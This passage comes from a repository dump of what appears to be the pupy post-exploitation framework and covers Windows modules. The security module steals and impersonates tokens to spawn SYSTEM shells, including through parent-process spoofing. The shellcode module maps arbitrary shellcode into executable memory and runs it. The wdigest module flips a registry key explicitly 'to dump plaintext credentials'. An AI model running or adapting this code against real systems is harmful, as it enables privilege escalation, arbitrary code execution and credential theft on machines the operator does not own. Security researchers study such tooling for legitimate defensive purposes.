impersonate_token(hToken)\n\n    if close and hTokendupe:\n        CloseHandle(hTokendupe)\n\n    CloseHandle(hToken)\n\n    return hTokendupe\n\n\ndef impersonate_sid(sid, close=True):\n\n    if not sid.startswith('S-1-'):\n        sid = sidbyname(sid)\n        if not sid:\n            raise ValueError('Unknown username {}'.format(sid.encode('utf-8')))\n\n    hToken = getSidToken(sid)\n    if not hToken:\n        raise ValueError('Could not get token for SID {}'.format(sid))\n\n    hTokendupe = impersonate_token(hToken)\n    if close and hTokendupe:\n        CloseHandle(hTokendupe)\n\n    # Cached by getSidToken\n    # CloseHandle(hToken)\n\n    if not hTokendupe:\n        raise ValueError('Could not impersonate token for SID {}'.format(sid))\n\n    return hTokendupe\n\n\nglobal_ref = None\n\n\nif not hasattr(Thread, '__impersonate_patch'):\n    setattr(\n        Thread, '_bootstrap_inner_original',\n        Thread._bootstrap_inner\n    )\n\n    def _bootstrap_inner_patched(self):\n        try:\n            from pupwinutils.security import global_ref\n\n            if global_ref:\n                ImpersonateLoggedOnUser(global_ref)\n                setattr(self, 'impersonated', global_ref)\n\n        except ImportError:\n            pass\n\n        self.__class__._bootstrap_inner_original(self)\n\n    setattr(Thread, '_bootstrap_inner', _bootstrap_inner_patched)\n    setattr(Thread, '__impersonate_patch', True)\n\n\ndef impersonate_sid_long_handle(*args, **kwargs):\n    global global_ref\n\n    hTokendupe = impersonate_sid(*args, **kwargs)\n    if not hTokendupe:\n        return None\n\n    try:\n        if global_ref is not None:\n            CloseHandle(global_ref)\n    except Exception:\n        pass\n\n    global_ref = hTokendupe\n    return addressof(hTokendupe)\n\n\ndef impersonate_pid_long_handle(*args, **kwargs):\n    global global_ref\n\n    hTokendupe = impersonate_pid(*args, **kwargs)\n    if not hTokendupe:\n        return None\n\n    try:\n        if global_ref is not None:\n            CloseHandle(global_ref)\n    except Exception:\n        pass\n\n    global_ref = hTokendupe\n    return addressof(hTokendupe)\n\n\ndef impersonate_token(hToken):\n    EnablePrivilege('SeDebugPrivilege', exc=False)\n    EnablePrivilege('SeImpersonatePrivilege', exc=False)\n\n    hTokendupe = HANDLE(INVALID_HANDLE_VALUE)\n\n    SecurityImpersonation = 2\n    TokenPrimary = 1\n\n    if not DuplicateTokenEx(\n        hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation,\n            TokenPrimary, byref(hTokendupe)):\n        raise WinError(get_last_error())\n\n    try:\n        EnablePrivilege(\n            'SeAssignPrimaryTokenPrivilege', hToken=hTokendupe, exc=False\n        )\n        EnablePrivilege(\n            'SeIncreaseQuotaPrivilege', hToken=hTokendupe, exc=False\n        )\n\n        if not ImpersonateLoggedOnUser(hTokendupe):\n            raise WinError(get_last_error())\n\n    except Exception:\n        CloseHandle(hTokendupe)\n        raise\n\n    return hTokendupe\n\n\ndef isSystem():\n    sids = ListSids()\n    current_pid = os.getpid()\n\n    for pid, _, sid in sids:\n        if pid == current_pid:\n            return sid == SID_SYSTEM\n\n\ndef token_impersonated_as_system(hToken):\n    return GetTokenSid(hToken) == SID_SYSTEM\n\n\ndef create_proc_as_sid(sid, prog='cmd.exe', attributes=None, lpInfo=False):\n    if not sid.startswith('S-1-'):\n        sid = sidbyname(sid)\n        if not sid:\n            raise ValueError(\n                'Unknown username {}'.format(as_native_string(sid))\n            )\n\n    hTokendupe = impersonate_sid(sid, close=False)\n\n    try:\n        vResult = start_proc_with_token(\n            [prog], hTokendupe,\n            attributes=attributes,\n            lpInfo=lpInfo\n        )\n    finally:\n        CloseHandle(hTokendupe)\n\n    return vResult\n\n\ndef getsystem(prog='cmd.exe'):\n    return create_proc_as_sid(SID_SYSTEM, prog=prog)\n\n\nclass StartupInfoAttribute(object):\n    __slots__ = (\n        'attribute', 'value'\n    )\n\n    def __init__(self,  attribute, value):\n        self.attribute = attribute\n        self.value = value\n\n\ndef start_proc_with_token(\n    args, hTokendupe=None, hidden=True,\n        application=None, attributes=None, lpInfo=False,\n        flags=0, stdout=None, stdin=None, stderr=None,\n        inherit_handles=False):\n\n    # Start the process with the token\n\n    lpProcessInformation = PROCESS_INFORMATION()\n    lpStartupInfo = None\n    dwCreationflag = flags or (\n        NORMAL_PRIORITY_CLASS |\n        CREATE_NEW_PROCESS_GROUP\n    )\n\n    if attributes:\n        lpStartupInfo = STARTUPINFOEX()\n        lpStartupInfo.setAttributes(attributes)\n\n        dwCreationflag |= EXTENDED_STARTUPINFO_PRESENT\n    else:\n        lpStartupInfo = STARTUPINFOW()\n\n    if any(x is not None for x in (stdout, stdin, stderr)):\n        lpStartupInfo.dwFlags |= STARTF_USESTDHANDLES\n        lpStartupInfo.hStdInput = stdin\n        lpStartupInfo.hStdOutput = stdout\n        lpStartupInfo.hStdError = stderr\n        inherit_handles = True\n\n    if hidden:\n        dwCreationflag |= CREATE_NO_WINDOW\n        lpStartupInfo.dwFlags |= STARTF_USESHOWWINDOW\n        lpStartupInfo.wShowWindow = SW_HIDE\n\n    if args is not None:\n        if isinstance(args, (list, tuple)):\n            args = ' '.join(\n                try_as_unicode_string(arg, fail=False)\n                for arg in args if arg is not None\n            )\n        else:\n            args = try_as_unicode_string(args)\n\n    if application is not None:\n        application = try_as_unicode_string(application, fail=False)\n\n    if hTokendupe is None and global_ref is not None:\n        hTokendupe = global_ref\n\n    if hTokendupe is not None:\n        cenv = c_void_p()\n        dwCreationflag |= CREATE_UNICODE_ENVIRONMENT\n\n        if not CreateEnvironmentBlock(byref(cenv), hTokendupe, 0):\n            raise WinError(get_last_error())\n\n        try:\n            if not CreateProcessAsUser(\n                hTokendupe, application, args, None, None, inherit_handles,\n                dwCreationflag, cenv, None,\n                    byref(lpStartupInfo), byref(lpProcessInformation)):\n                raise WinError(get_last_error())\n        finally:\n            DestroyEnvironmentBlock(cenv)\n\n    else:\n        if not CreateProcessW(\n            application, args, None, None, inherit_handles,\n            dwCreationflag, None, None,\n                byref(lpStartupInfo), byref(lpProcessInformation)):\n            raise WinError(get_last_error())\n\n    if lpInfo:\n        return lpProcessInformation\n    else:\n        CloseHandle(lpProcessInformation.hProcess)\n        CloseHandle(lpProcessInformation.hThread)\n        return lpProcessInformation.dwProcessId\n\n\ndef rev2self():\n    global global_ref\n\n    RevertToSelf()\n\n    if global_ref is not None:\n        CloseHandle(global_ref)\n\n    global_ref = None\n\n\ndef get_currents_privs():\n    '''\n    Get all privileges associated with the current process.\n    '''\n    dwSize = DWORD()\n    hToken = get_process_token()\n\n    try:\n        if not GetTokenInformation(\n            hToken, TOKEN_INFORMATION_CLASS.TokenPrivileges,\n                None, 0, byref(dwSize)):\n\n            error = get_last_error()\n            if error != ERROR_INSUFFICIENT_BUFFER:\n                raise WinError(error)\n\n        cBuffer = create_string_buffer(dwSize.value)\n        if not GetTokenInformation(\n            hToken, TOKEN_INFORMATION_CLASS.TokenPrivileges,\n                cBuffer, dwSize.value, byref(dwSize)):\n            raise WinError(get_last_error())\n\n    finally:\n        CloseHandle(hToken)\n\n    privs = tuple(\n        (x.get_name(), x.is_enabled()) for x in cast(\n            cBuffer, POINTER(TOKEN_PRIVS)).contents\n    )\n\n    return privs\n\n\ndef can_get_admin_access():\n    \"\"\"\n    Check if the user may be able to get administrator access.\n    Returns True if the user is in the administrator's group.\n    Otherwise returns False\n    \"\"\"\n\n    SECURITY_MAX_SID_SIZE = 68\n    WinBuiltinAdministratorsSid = 26\n    ERROR_NO_SUCH_LOGON_SESSION = 1312\n    ERROR_PRIVILEGE_NOT_HELD = 1314\n    TokenLinkedToken = 19\n\n    # On XP or lower this is equivalent to has_root()\n    # Note: sys.getwindowsversion() does work on every system\n\n    if sys.getwindowsversion()[0] < 6:\n        return bool(IsUserAnAdmin())\n\n    # On Vista or higher, there's the whole UAC token-splitting thing.\n    # Many thanks for Junfeng Zhang for the workflow:\n    # htttp://blogs.msdn.com/junfeng/archive/2007/01/26/\n    # how-to-tell-if-the-current-user-is-in-administrators-group-programmatically.aspx\n\n    # Get the token for the current process.\n    proc = GetCurrentProcess()\n\n    try:\n        token = HANDLE()\n        OpenProcessToken(proc, TOKEN_QUERY, byref(token))\n\n        try:\n            # Get the administrators SID.\n\n            sid = create_string_buffer(SECURITY_MAX_SID_SIZE)\n            sz = DWORD(SECURITY_MAX_SID_SIZE)\n            target_sid = WinBuiltinAdministratorsSid\n            CreateWellKnownSid(target_sid, None, byref(sid), byref(sz))\n\n            # Check whether the token has that SID directly.\n\n            has_admin = BOOL()\n            CheckTokenMembership(None, byref(sid), byref(has_admin))\n\n            if has_admin.value:\n                return True\n\n            # Get the linked token.  Failure may mean no linked token.\n            lToken = HANDLE()\n\n            try:\n                cls = TokenLinkedToken\n                GetTokenInformation(\n                    token, cls, byref(lToken), sizeof(lToken), byref(sz)\n                )\n            except WindowsError as e:\n                if e.winerror == ERROR_NO_SUCH_LOGON_SESSION:\n                    return False\n                elif e.winerror == ERROR_PRIVILEGE_NOT_HELD:\n                    return False\n                else:\n                    raise\n\n            # Check if the linked token has the admin SID\n            try:\n                CheckTokenMembership(lToken, byref(sid), byref(has_admin))\n                return bool(has_admin.value)\n\n            finally:\n                CloseHandle(lToken)\n\n        finally:\n            CloseHandle(token)\n\n    except Exception as e:\n        return None\n\n    finally:\n        try:\n            CloseHandle(proc)\n        except Exception as e:\n            pass\n\n\n# return string with major.minor version\ndef get_windows_version():\n    os_version = OSVERSIONINFOEXW()\n    os_version.dwOSVersionInfoSize = sizeof(os_version)\n    retcode = RtlGetVersion(byref(os_version))\n    if retcode != 0:\n        return False\n\n    return {\n        'major_version': os_version.dwMajorVersion.real,\n        'minor_version': os_version.dwMinorVersion.real,\n        'build_number': os_version.dwBuildNumber.real\n    }\n\n\ndef access(path, mode):\n    requested_information = OWNER_SECURITY_INFORMATION | \\\n        GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION\n\n    dwSize = DWORD(0)\n    hToken = HANDLE()\n    access_desired = 0\n\n    path = try_as_unicode_string(path)\n\n    attributes = GetFileAttributesW(path)\n\n    if attributes == INVALID_FILE_ATTRIBUTES:\n        return False\n\n    if mode == os.F_OK:\n        return True\n\n    if (mode & W_OK) and (attributes & FILE_ATTRIBUTE_READONLY) and \\\n            not (attributes & FILE_ATTRIBUTE_DIRECTORY):\n        return False\n\n    success = GetFileSecurityW(\n        path, requested_information, c_void_p(0), 0, byref(dwSize)\n    )\n\n    if not success and get_last_error() != ERROR_INSUFFICIENT_BUFFER:\n        return False\n\n    pSDBuf = create_string_buffer(dwSize.value)\n    can_read_access = GetFileSecurityW(\n        path, requested_information, pSDBuf,\n        dwSize, byref(dwSize))\n\n    if not can_read_access:\n        return False\n\n    if not IsValidSecurityDescriptor(pSDBuf):\n        return False\n\n    is_access_granted = False\n\n    if not OpenProcessToken(\n        GetCurrentProcess(),\n        TOKEN_IMPERSONATE | TOKEN_QUERY |\n            TOKEN_DUPLICATE | STANDARD_RIGHTS_READ, byref(hToken)):\n\n        return False\n\n    hImpersonatedToken = HANDLE()\n\n    if not DuplicateToken(\n            hToken, SecurityImpersonation, byref(hImpersonatedToken)):\n        CloseHandle(hToken)\n        return False\n\n    access_desired = 0\n\n    mapping = GENERIC_MAPPING()\n\n    if (mode & X_OK):\n        access_desired |= FILE_EXECUTE\n    if (mode & R_OK):\n        access_desired |= FILE_READ_DATA\n    if (mode & W_OK):\n        access_desired |= FILE_WRITE_DATA\n\n    mapping.GenericRead = FILE_READ_DATA\n    mapping.GenericWrite = FILE_WRITE_DATA\n    mapping.GenericExecute = FILE_EXECUTE\n    mapping.GenericAll = FILE_ALL_ACCESS\n\n    access_desired = DWORD(access_desired)\n\n    MapGenericMask(byref(access_desired), byref(mapping))\n\n    ps = PRIVILEGE_SET_HEADER()\n    pps = byref(ps)\n    pps_size = DWORD(sizeof(ps))\n    access_granted = DWORD(0)\n    is_access_granted_bool = BOOL(False)\n\n    if not AccessCheck(\n        pSDBuf, hImpersonatedToken, access_desired, byref(mapping),\n        pps, byref(pps_size), byref(access_granted),\n            byref(is_access_granted_bool)):\n\n        if get_last_error() == ERROR_INSUFFICIENT_BUFFER:\n            pps = create_string_buffer(pps_size.value)\n\n        AccessCheck(\n            pSDBuf, hImpersonatedToken, access_desired,\n            byref(mapping), pps, byref(pps_size), byref(access_granted),\n            byref(is_access_granted_bool)\n        )\n\n    is_access_granted = bool(is_access_granted_bool)\n\n    CloseHandle(hImpersonatedToken)\n    CloseHandle(hToken)\n\n    return is_access_granted\n\n\ndef strsid(sid, exc=True):\n    if not sid:\n        return None\n\n    StringSid = LPTSTR()\n\n    if ConvertSidToStringSidA(sid, byref(StringSid)):\n        sid = str(StringSid.value)\n        return sid\n\n    if not exc:\n        return None\n\n    raise WinError(get_last_error())\n\n\ndef namebysid(sid, domain=None):\n    Name = LPWSTR()\n    cbName = DWORD(0)\n\n    ReferencedDomainName = LPWSTR()\n    cchReferencedDomainName = DWORD(0)\n\n    peUse = DWORD(0)\n\n    if LookupAccountSidW(\n        domain, sid, Name, byref(cbName), ReferencedDomainName,\n        byref(cchReferencedDomainName), byref(peUse)) or \\\n        get_last_error() != ERROR_INSUFFICIENT_BUFFER or cbName.value <= 0 or \\\n            cchReferencedDomainName.value <= 0:\n        return '', ''\n\n    Name = create_unicode_buffer(cbName.value)\n    ReferencedDomainName = create_unicode_buffer(cchReferencedDomainName.value)\n\n    if not LookupAccountSidW(\n        domain, sid, Name, byref(cbName), ReferencedDomainName,\n            byref(cchReferencedDomainName), byref(peUse)):\n        raise WinError(get_last_error())\n\n    if Name.value == 'None':\n        return '', ''\n\n    return Name.value, ReferencedDomainName.value\n\n\ndef sidbyname(name, domain=None):\n    name = try_as_unicode_string(name)\n\n    Sid = PSID()\n    cbSid = DWORD(0)\n\n    ReferencedDomainName = LPWSTR()\n    cchReferencedDomainName = DWORD(0)\n\n    peUse = DWORD(0)\n\n    if LookupAccountNameW(\n        domain, name, Sid, byref(cbSid), ReferencedDomainName,\n        byref(cchReferencedDomainName), byref(peUse)) or \\\n        get_last_error() != ERROR_INSUFFICIENT_BUFFER or cbSid.value <= 0 or \\\n            cchReferencedDomainName.value <= 0:\n        return None\n\n    Sid = create_string_buffer(cbSid.value)\n    ReferencedDomainName = create_unicode_buffer(cchReferencedDomainName.value)\n\n    if not LookupAccountNameW(\n        domain, name, Sid, byref(cbSid), ReferencedDomainName,\n            byref(cchReferencedDomainName), byref(peUse)):\n        raise WinError(get_last_error())\n\n    return strsid(Sid)\n\n\ndef _getfileinfo(path, requested_information=0):\n    path = try_as_unicode_string(path)\n\n    requested_information |= \\\n        OWNER_SECURITY_INFORMATION | \\\n        GROUP_SECURITY_INFORMATION\n\n    dwSize = DWORD(0)\n\n    success = GetFileSecurityW(\n        path, requested_information, c_void_p(0), 0, byref(dwSize)\n    )\n\n    if not success and get_last_error() != ERROR_INSUFFICIENT_BUFFER:\n        raise WinError(get_last_error())\n\n    pSDBuf = create_string_buffer(dwSize.value)\n    can_read_access = GetFileSecurityW(\n        path, requested_information, pSDBuf,\n        dwSize, byref(dwSize))\n\n    if not can_read_access:\n        raise WinError(get_last_error())\n\n    if not IsValidSecurityDescriptor(pSDBuf):\n        raise WinError(get_last_error())\n\n    GSid = PSID()\n    USid = PSID()\n    bDefault = BOOL()\n\n    if GetSecurityDescriptorOwner(pSDBuf, byref(USid), byref(bDefault)) and \\\n            GetSecurityDescriptorGroup(pSDBuf, byref(GSid), byref(bDefault)):\n        return pSDBuf, USid, GSid\n\n    raise WinError(get_last_error())\n\n\ndef getfileowner(path, as_sid=True):\n    pSDBuf, USid, GSid = _getfileinfo(path)\n\n    if as_sid:\n        return strsid(USid), strsid(GSid)\n    else:\n        return namebysid(USid), namebysid(GSid)\n\n    raise WinError(get_last_error())\n\n\n# https://stackoverflow.com/questions/34698927/\n# python-get-windows-folder-acl-permissions\n\nclass Ace(object):\n    __slots__ = (\n        'ace_type', 'flags', 'mask', 'mapped_mask', 'trustee'\n    )\n\n    def __init__(self, ace_type, flags, mask, trustee):\n        self.ace_type = ace_type\n        self.flags = flags\n        self.mask = mask\n        self.trustee = trustee\n        self.mapped_mask = self._map_generic(mask)\n\n    @staticmethod\n    def _map_generic(mask):\n        if _bit(mask, GENERIC_READ):\n            mask = (mask & ~GENERIC_READ) | FILE_GENERIC_READ\n        if _bit(mask, GENERIC_WRITE):\n            mask = (mask & ~GENERIC_WRITE) | FILE_GENERIC_WRITE\n        if _bit(mask, GENERIC_EXECUTE):\n            mask = (mask & ~GENERIC_EXECUTE) | FILE_GENERIC_EXECUTE\n        if _bit(mask, GENERIC_ALL):\n            mask = (mask & ~GENERIC_ALL) | FILE_ALL_ACCESS\n        return mask\n\n    def inherited(self):          # I\n        return _bit(self.flags, INHERITED_ACE)\n\n    def object_inherit(self):     # OI\n        return _bit(self.flags, OBJECT_INHERIT_ACE)\n\n    def container_inherit(self):  # CI\n        return _bit(self.flags, CONTAINER_INHERIT_ACE)\n\n    def inherit_only(self):       # IO\n        return _bit(self.flags, INHERIT_ONLY_ACE)\n\n    def no_propagate(self):       # NP\n        return _bit(self.flags, NO_PROPAGATE_INHERIT_ACE)\n\n    def no_access(self):          # N\n        return self.mapped_mask == 0\n\n    def full_access(self):        # F\n        return _bit(self.mapped_mask, FILE_ALL_ACCESS)\n\n    def modify_access(self):      # M\n        return _bit(self.mapped_mask, FILE_MODIIFY_ACCESS)\n\n    def read_exec_access(self):   # RX\n        return _bit(self.mapped_mask, FILE_READ_EXEC_ACCESS)\n\n    def read_only_access(self):   # R\n        return _bit(self.mapped_mask, FILE_GENERIC_READ)\n\n    def write_only_access(self):  # W\n        return _bit(self.mapped_mask, FILE_GENERIC_WRITE)\n\n    def delete_access(self):      # D\n        return _bit(self.mapped_mask, FILE_DELETE_ACCESS)\n\n    def get_file_rights(self):\n        if self.no_access():\n            return ['N']\n\n        if self.full_access():\n            return ['F']\n\n        if self.modify_access():\n            return ['M']\n\n        if self.read_exec_access():\n            return ['RX']\n\n        if self.read_only_access():\n            return ['R']\n\n        if self.write_only_access():\n            return ['W']\n\n        if self.delete_access():\n            return ['D']\n\n        rights = []\n\n        for right, name in (\n            (DELETE, 'DE'), (READ_CONTROL, 'RC'),\n            (WRITE_DAC, 'WDAC'), (WRITE_OWNER, 'WO'),\n            (SYNCHRONIZE, 'S'), (ACCESS_SYSTEM_SECURITY, 'AS'),\n            (GENERIC_READ, 'GR'), (GENERIC_WRITE, 'GW'),\n            (GENERIC_EXECUTE, 'GE'), (GENERIC_ALL, 'GA'),\n            (FILE_READ_DATA, 'RD'), (FILE_WRITE_DATA, 'WD'),\n            (FILE_APPEND_DATA, 'AD'), (FILE_READ_EA, 'REA'),\n            (FILE_WRITE_EA, 'WEA'), (FILE_EXECUTE, 'X'),\n            (FILE_DELETE_CHILD, 'DC'),\n            (FILE_READ_ATTRIBUTES, 'RA'),\n                (FILE_WRITE_ATTRIBUTES, 'WA')):\n\n            if _bit(self.mask, right):\n                rights.append(name)\n\n        return rights\n\n    def granted_access(self, mask):\n        return _bit(self.mapped_mask, self._map_generic(mask))\n\n    def __str__(self):\n        access = []\n\n        if self.ace_type == ACCESS_DENIED_ACE_TYPE:\n            access.append('{DENY}')\n        elif self.ace_type == SYSTEM_AUDIT_ACE_TYPE:\n            access.append('{AUDIT}')\n        elif self.ace_type == SYSTEM_ALARM_ACE_TYPE:\n            access.append('{ALARM}')\n\n        if self.inherited():\n            access.append('(I)')\n\n        if self.object_inherit():\n            access.append('(OI)')\n\n        if self.container_inherit():\n            access.append('(CI)')\n\n        if self.inherit_only():\n            access.append('(IO)')\n\n        if self.no_propagate():\n            access.append('(NP)')\n\n        access.append('(%s)' % ','.join(self.get_file_rights()))\n\n        return '%s: %s' % (self.trustee, ''.join(access))\n\n\ndef getfileowneracls(path):\n    infos = []\n\n    path = try_as_unicode_string(path)\n\n    requested_information = OWNER_SECURITY_INFORMATION | \\\n        GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION\n\n    pSDBuf, USid, GSid = _getfileinfo(path, requested_information)\n\n    if USid and GSid:\n        owner_sid = strsid(USid)\n        group_sid = strsid(GSid)\n\n        owner_name, owner_domain = namebysid(USid)\n        group_name, group_domain = namebysid(GSid)\n\n        owner = owner_sid, owner_name, owner_domain\n        group = group_sid, group_name, group_domain\n\n        infos.append(owner)\n        infos.append(group)\n\n    if not pSDBuf:\n        return\n\n    pACL = c_void_p()\n    bDaclPresent = BOOL()\n    bDaclDefaulted = BOOL(True)\n\n    if not GetSecurityDescriptorDacl(\n        pSDBuf, byref(bDaclPresent),\n            byref(pACL), byref(bDaclDefaulted)):\n        raise WinError(get_last_error())\n\n    if not bDaclPresent:\n        infos.append(None)\n        return infos\n\n    ACLs = []\n\n    i = 0\n    while pACL and True:\n        ace = PACCESS_ALLOWED_ACE()\n        if not GetAce(pACL, i, byref(ace)):\n            break\n\n        ace = ace.contents\n        sid = byref(ace, ACCESS_ALLOWED_ACE.SidStart.offset)\n\n        name, domain = namebysid(sid)\n        sid = strsid(sid)\n        trustee = sid\n\n        if name:\n            if domain:\n                trustee = '{}\\\\{} ({})'.format(\n                    domain, name, sid\n                )\n            else:\n                trustee = '{} ({})'.format(\n                    name, sid\n                )\n\n        ace = Ace(ace.Header.AceType, ace.Header.AceFlags, ace.Mask, trustee)\n        ACLs.append(ace)\n\n        i += 1\n\n    infos.append(ACLs)\n    return infos\n\n\ndef create_new_process_from_ppid(ppid, cmd):\n    \"\"\"\n    Create new process as SYSTEM via Handle Inheritance specifying\n    privileged parent\n    Returns True if no problem\n    Based on : https://github.com/decoder-it/psgetsystem/\n        blob/master/psgetsys.ps1\n    \"\"\"\n\n    lpAttributeList = None\n    lpSize = c_size_t(0)\n\n    EnablePrivilege(\"SeDebugPrivilege\")\n\n    # 1.Call with null lpAttributeList first to get back the lpSize\n    InitializeProcThreadAttributeList(None, 1, 0, byref(lpSize))\n\n    # 2.Initialize the attribute list\n    lpAttributeList = create_string_buffer(lpSize.value)\n    if not InitializeProcThreadAttributeList(\n            lpAttributeList, 1, 0, byref(lpSize)):\n        raise WinError(get_last_error())\n\n    # 3.Add attribute to attribute list (we now know buffer size for\n    # the specified number of attributes we allocate and initialize\n    # AttributeList)\n    # lpValue = PVOID(ppid) # Handle to specified parent\n\n    handle = OpenProcess(PROCESS_ALL_ACCESS, False, int(ppid))\n    if not handle:\n        raise WinError(get_last_error())\n\n    last_error = None\n    hHandle = HANDLE(handle)\n\n    if not UpdateProcThreadAttribute(\n        lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,\n            byref(hHandle), sizeof(hHandle), 0, None):\n        last_error = get_last_error()\n        CloseHandle(handle)\n        raise WinError(last_error)\n\n    # gaining a shell...\n    lpProcessInformation = PROCESS_INFORMATION()\n\n    lpStartupInfo = STARTUPINFOEX()\n    lpStartupInfo.StartupInfo.lpReserved = 0\n    lpStartupInfo.StartupInfo.lpDesktop = 0\n    lpStartupInfo.StartupInfo.lpTitle = 0\n    lpStartupInfo.StartupInfo.dwFlags = 0\n    lpStartupInfo.StartupInfo.cbReserved2 = 0\n    lpStartupInfo.StartupInfo.lpReserved2 = 0\n    lpStartupInfo.StartupInfo.cb = sizeof(lpStartupInfo)\n    lpStartupInfo.lpAttributeList = addressof(lpAttributeList)\n\n    lpProcessInformation = PROCESS_INFORMATION()\n    lpProcessInformation.hProcess = INVALID_HANDLE_VALUE\n    lpProcessInformation.hThread = INVALID_HANDLE_VALUE\n    lpProcessInformation.dwProcessId = 0\n    lpProcessInformation.dwThreadId = 0\n\n    dwCreationFlags = (CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT)\n\n    if not CreateProcessW(\n        None, cmd, None, None, 0, dwCreationFlags, None,\n            None,  byref(lpStartupInfo), byref(lpProcessInformation)):\n        raise WinError(get_last_error())\n\n    CloseHandle(handle)\n    return lpProcessInformation.dwProcessId\n\n\ndef get_integrity_level(pid):\n    '''\n    Returns the integrity level of a specific pid\n    Notice the process running this method should have less or same\n    'pivileges' than the pid for getting the integrity level.\n    e.g. a process running with medium integrity level can't access to\n    integrity level information of a process running with the system or\n    high integrity level.\n    You can test with Process Explorer.\n    Returns 0, 1, 2, 3 ,4, 5 or 6 if an error. Otherwise returns string\n    (intergrity level)\n    '''\n\n    mapping = {\n        0x0000: 'Untrusted',\n        0x1000: 'Low',\n        0x2000: 'Medium',\n        0x2100: 'Medium high',\n        0x3000: 'High',\n        0x4000: 'System',\n        0x5000: 'Protected process',\n    }\n\n    # TOKEN_READ = DWORD(0x20008)\n    TokenIntegrityLevel = c_uint32(25)\n    token = c_void_p()\n\n    proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))\n    if proc_handle == 0:\n        return 0\n\n    if not OpenProcessToken(\n            proc_handle,\n            TOKEN_READ,\n            byref(token)):\n        logging.error('Failed to get process token')\n        return 1\n\n    if token.value == 0:\n        logging.error('Got a NULL token')\n        return 2\n    try:\n        info_size = DWORD()\n        if GetTokenInformation(\n                token,\n                TokenIntegrityLevel,\n                c_void_p(),\n                info_size,\n                byref(info_size)):\n            logging.error('GetTokenInformation() failed expectation')\n            return 3\n\n        if info_size.value == 0:\n            logging.error('GetTokenInformation() returned size 0')\n            return 4\n\n        token_info = TOKEN_MANDATORY_LABEL()\n        resize(token_info, info_size.value)\n        if not GetTokenInformation(\n                token,\n                TokenIntegrityLevel,\n                byref(token_info),\n                info_size,\n                byref(info_size)):\n            logging.error(\n                'GetTokenInformation(): Unknown error with '\n                'buffer size %d: %d', info_size.value, GetLastError()\n            )\n            return 6\n\n        p_sid_size = GetSidSubAuthorityCount(token_info.Label.Sid)\n        res = GetSidSubAuthority(\n            token_info.Label.Sid, p_sid_size.contents.value - 1\n        )\n        value = res.contents.value\n        return mapping.get(value) or '0x%04x' % value\n\n    finally:\n        CloseHandle(token)\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/shellcode.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport ctypes\nimport threading\n\ndef allocate_exe(shellcode):\n\n    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),\n                                          ctypes.c_int(len(shellcode)),\n                                          ctypes.c_int(0x3000),\n                                          ctypes.c_int(0x40))\n\n    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)\n\n    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),\n                                        buf,\n                                        ctypes.c_int(len(shellcode)))\n\n    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),\n                                         ctypes.c_int(0),\n                                         ctypes.c_int(ptr),\n                                         ctypes.c_int(0),\n                                         ctypes.c_int(0),\n                                         ctypes.pointer(ctypes.c_int(0)))\n\n    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))\n\ndef exec_shellcode(shellcode):\n    shellcode = bytearray(shellcode)\n    t = threading.Thread(target=allocate_exe, args=(shellcode,))\n    t.daemon = True\n    t.start()\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/wdigest.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom _winreg import (\n    HKEY_LOCAL_MACHINE, KEY_READ, KEY_WRITE, REG_DWORD,\n    ConnectRegistry, OpenKey, SetValueEx, CloseKey, QueryValueEx\n)\n\ndef modifyKey(keyPath, regPath, value, root=HKEY_LOCAL_MACHINE):\n    aReg = ConnectRegistry(None, root)\n\n    try:\n        aKey = OpenKey(aReg, keyPath, 0, KEY_WRITE)\n        SetValueEx(aKey, regPath, 0, REG_DWORD, value)\n        CloseKey(aKey)\n    except Exception as e:\n        return False, e\n\n    return True, ''\n\n\ndef queryValue(keyPath, regPath, root=HKEY_LOCAL_MACHINE):\n    aReg = ConnectRegistry(None, root)\n    try:\n        aKey = OpenKey(aReg, keyPath, 0, KEY_READ)\n        value = QueryValueEx(aKey, regPath)\n        CloseKey(aKey)\n        if value[0] == 0:\n            return False, 'UseLogonCredential disabled'\n        else:\n            return True, 'UseLogonCredential already enabled'\n    except:\n        return False, 'UseLogonCredential key not found, you should create it'\n\ndef wdigest(action):\n    key_path = r\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest\\\\\"\n    key_name = 'UseLogonCredential'\n\n    if action == 'check':\n        return queryValue(key_path, key_name)\n    elif action == 'enable':\n        ok, message = modifyKey(key_path, key_name, 1)\n        if ok:\n            message = 'UseLogonCredential key created, logoff the user session to dump plaintext credentials'\n        return ok, message\n    elif action == 'disable':\n        ok, message = modifyKey(key_path, key_name, 0)\n        if ok:\n            message = 'UseLogonCredential key deleted'\n        return ok, message\n"
  },
  {
    "path": "pupy/packages/windows/all/readlogs.py",
